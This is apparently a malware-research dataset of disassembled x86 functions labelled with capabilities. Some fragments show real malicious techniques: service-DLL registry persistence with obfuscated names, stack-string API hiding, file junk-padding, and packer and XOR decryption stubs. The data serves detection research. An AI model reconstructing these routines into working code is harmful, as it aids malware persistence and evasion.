joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cf30
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Polmt__MnrurczjOol
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000ce50
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000ceb0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x1001a51c]
push str._RqmbzdlDjn_p__GuwfTRkjempmic_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__GuwfTRkjempmic_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x1001a4b0]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001a4b4]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000ce50
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000ceb0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000d3f0
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000d5ea
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x1000d5c8
mov edx, edi
and edx, 0x800003ff
jns 0x1000d58c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000d5ad
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x1000d590
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1000d57a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10018e80]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x100096d0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1000989d
pushal
mov esi, 0x43e8000
lea edi, [esi - 0x7000]
push edi
jmp 0x100096fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10009701
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100096f0
mov eax, 1
add ebx, ebx
jne 0x10009713
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10009708
jne 0x10009724
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10009708
xor ecx, ecx
sub eax, 3
jb 0x10009738
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x100097aa
mov ebp, eax
add ebx, ebx
jne 0x10009743
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10009750
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10009774
inc ecx
add ebx, ebx
jne 0x10009760
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10009755
jne 0x10009771
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10009755
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10009794
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10009785
jmp 0x100096f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10009794
add edi, ecx
jmp 0x100096f6
pop esi
mov edi, esi
mov ecx, 0x7b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x100097b2
cmp byte [edi], 4
jne 0x100097b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x100097b7
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x1000982f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x91b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x921c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x100097e4
mov ecx, edi
jns 0x10009813
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9220]
or eax, eax
je 0x10009829
mov dword [ebx], eax
add ebx, 4
jmp 0x10009801
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10009860
cmp al, 0xef
ja 0x10009853
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10009835
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10009842
mov ebp, dword [esi + 0x9224]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10009894
sub esp, 0xffffff80
jmp 0x100032af
Function at 0x57c8c0
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
xor ebx, ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004073e4
mov eax, dword [ebp - 8]
call fcn.004073e4
xor eax, eax
push ebp
push 0x57ca30
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x6c]
mov eax, dword [0x58f298]
mov eax, dword [eax]
call fcn.004d897c
mov eax, dword [ebp - 0x6c]
lea edx, [ebp - 0xc]
call fcn.00414cac
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x44
call fcn.00404c08
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], bx
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00407488
push eax
push 0
push 0x30
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00407488
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x57c96b
mov dword [ebp - 0x10], 0xffffffff
jmp 0x57ca0d
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x57cf24
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x595904]
call fcn.004d3450
push 0x80
push 0xffffffffffffffec
mov eax, dword [0x58f298]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
push eax
call sub.user32.dll_SetWindowLongW
mov ebx, 0x3e9
mov eax, dword [0x58f298]
mov eax, dword [eax]
call fcn.004d7e08
push 1
call sub.kernel32.dll_Sleep_2
dec ebx
jne 0x57c9aa
mov edx, 0x10
mov eax, dword [ebp - 8]
call fcn.004148f8
mov edx, dword [0x595904]
mov dword [edx + 0x39c], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x68]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x595904]
call fcn.004d2f68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x57ca37
lea eax, [ebp - 0x6c]
call fcn.004073ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004073f4
ret

Function at 0x57ca40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004073e4
xor eax, eax
push ebp
push 0x57cadc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test eax, eax
je 0x57ca81
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x57ca81
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004069ac
test eax, eax
je 0x57ca8a
sub eax, 4
mov eax, dword [eax]
test al, al
jbe 0x57cabc
mov byte [ebp - 5], al
mov bl, 1
lea eax, [ebp - 4]
call fcn.00407f10
movzx esi, bl
mov edx, dword [ebp - 4]
movzx edx, word [edx + esi*2 - 2]
mov ecx, ebx
or cl, 0x75
movzx ecx, cl
xor dx, cx
mov word [eax + esi*2 - 2], dx
inc ebx
dec byte [ebp - 5]
jne 0x57ca93
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004073fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x57cae3
lea eax, [ebp - 4]
call fcn.004073ec
ret
Function at 0x659a6d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x663168
cmp edx, dword [eax]
je 0x659a8f
add eax, 8
inc ecx
cmp eax, 0x6631f8
jl 0x659a80
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x663168]
jne 0x659bbd
mov eax, dword [0xa68a90]
cmp eax, 1
je 0x659b97
test eax, eax
jne 0x659ac0
cmp dword [0x663094], 1
je 0x659b97
cmp edx, 0xfc
je 0x659bbd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x659af7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0065a450
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065a8e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x659b3a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065a8e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65eeac
push edi
call fcn.0065c7b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0065a450
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065a460
lea eax, [ebp - 0xa0]
push 0x65ee8c
push eax
call fcn.0065a460
push dword [esi + 0x66316c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065a460
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0065c724
add esp, 0x2c
pop edi
jmp 0x659bbd
lea eax, [ebp + 8]
lea esi, [esi + 0x66316c]
push 0
push eax
push dword [esi]
call fcn.0065a8e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x106fd0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x106fd200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x106fd0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x106fd0c2
add dl, dl
jne 0x106fd0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x106fd134
xor eax, eax
add dl, dl
jne 0x106fd0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x106fd1d5
add dl, dl
jne 0x106fd0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106fd108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106fd113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106fd11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x106fd12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x106fd0cd
mov eax, 1
add dl, dl
jne 0x106fd142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106fd14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x106fd139
sub eax, ebx
mov ebx, 1
jne 0x106fd180
mov ecx, 1
add dl, dl
jne 0x106fd166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x106fd171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x106fd15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x106fd0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x106fd197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x106fd1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x106fd18e
cmp eax, 0x7d00
jae 0x106fd1c5
cmp eax, 0x500
jb 0x106fd1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x106fd0cd
cmp eax, 0x7f
ja 0x106fd1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x106fd0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x106fd1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x106fd0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x110e2172
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x5521df2
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x440400
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bcd4f
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x512110]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.Qt5Widgets.dll_public:_void___thiscall_QDialog::constructor_class_QWidget___class_QFlags_enum_Qt::WindowType__]
push 0x38
mov dword [ebp - 4], 0
mov dword [ebx], vtable.CorrectionInfoDialog.0
mov dword [ebx + 8], vtable.CorrectionInfoDialog.1.0
call fcn.004bad7a
mov esi, dword [ebp + 8]
lea ecx, [ebx + 0x24]
mov dword [ebx + 0x18], eax
add esp, 4
mov eax, dword [esi]
mov dword [ebx + 0x20], eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::constructor_class_QString_const__]
mov eax, dword [esi + 8]
lea ecx, [ebx + 0x30]
mov dword [ebx + 0x28], eax
mov eax, dword [esi + 0xc]
mov dword [ebx + 0x2c], eax
lea eax, [esi + 0x10]
push eax
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::constructor_class_QString_const__]
mov al, byte [esi + 0x14]
mov byte [ebx + 0x34], al
mov ecx, dword [ebx + 0x18]
push ebx
mov byte [ebp - 4], 1
call fcn.00440c10
mov eax, dword [ebx + 0x18]
push 1
push 0x512f60
push dword [eax + 8]
call fcn.004ad280
add esp, 0xc
lea ecx, [ebx + 0x20]
call fcn.004403f0
push eax
lea ecx, [ebp - 0x20]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QVariant::constructor_int_]
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
mov eax, dword [ebx + 0x18]
push dword [eax + 8]
call fcn.004ad5f0
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QVariant::destructor_void_]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebx + 0x20]
call fcn.00440310
mov ecx, dword [ebx + 0x18]
mov esi, dword [sym.imp.Qt5Widgets.dll_public:_void___thiscall_QLineEdit::setText_class_QString_const__]
push eax
mov byte [ebp - 4], 3
mov ecx, dword [ecx + 0x10]
call esi
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebx + 0x20]
call fcn.00440370
mov ecx, dword [ebx + 0x18]
push eax
mov byte [ebp - 4], 4
mov ecx, dword [ecx + 0x20]
call esi
mov byte [ebp - 4], 1
lea ecx, [ebp + 0xc]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebx + 0x20]
call fcn.00440340
mov ecx, dword [ebx + 0x18]
push eax
mov ecx, dword [ecx + 0x18]
call dword [sym.imp.Qt5Widgets.dll_public:_void___thiscall_QDateTimeEdit::setDate_class_QDate_const__]
mov ecx, ebx
call dword [sym.imp.Qt5Widgets.dll_public:_void___thiscall_QWidget::adjustSize_void_]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x449980
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bd9d8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x512110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x449ac4
cmp byte [ebx + 0x3d], 0
je 0x449ac4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x4499d9
xor al, al
jmp 0x449ac6
mov ecx, 0xf
mov byte [ebp - 0x28], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], ecx
cmp ecx, 0x10
movq qword [ebp - 0x28], xmm0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x28]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
lea edi, [ebx + 0x40]
nop
cmp esi, 0x10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmovae edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
add eax, edx
push eax
push ecx
mov ecx, dword [ebx + 0x38]
push edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x449a4c
sub eax, 1
je 0x449a50
mov esi, dword [ebp - 0x14]
sub eax, 2
je 0x449aa8
xor bl, bl
jmp 0x449aaa
mov byte [ebx + 0x3d], 0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp esi, 0x10
mov edi, dword [ebp - 0x2c]
cmovae eax, ecx
sub edi, eax
je 0x449a86
push dword [ebx + 0x4c]
cmp esi, 0x10
lea eax, [ebp - 0x28]
push edi
cmovae eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov esi, dword [ebp - 0x14]
add esp, 0x10
cmp edi, eax
jne 0x449a48
cmp byte [ebx + 0x3d], 0
je 0x449aa8
test edi, edi
lea edi, [ebx + 0x40]
jne 0x449a10
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.0044a650
jmp 0x449a09
mov bl, 1
cmp esi, 0x10
jb 0x449ac0
push 1
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x28]
call fcn.00449910
add esp, 0xc
mov al, bl
jmp 0x449ac6
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004bb023
mov esp, ebp
pop ebp
ret
Function at 0x44f570
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4be53b
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x512110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
push 0x208
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x218]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x44f644
cmp word [ebp - 0x218], ax
jne 0x44f604
xor ecx, ecx
jmp 0x44f61f
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44f610
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0044ac60
push 0x10
push str.ATOLdrivers10_
lea ecx, [ebp - 0x230]
call fcn.0044a800
push 0x14
push str.global_settings.json
lea ecx, [ebp - 0x230]
call fcn.0044a800
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromStdWString_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__]
mov ecx, dword [ebp - 0x21c]
add esp, 8
cmp ecx, 8
jb 0x44f684
push 2
inc ecx
push ecx
push dword [ebp - 0x230]
call fcn.00449910
add esp, 0xc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004bb023
mov esp, ebp
pop ebp
ret 4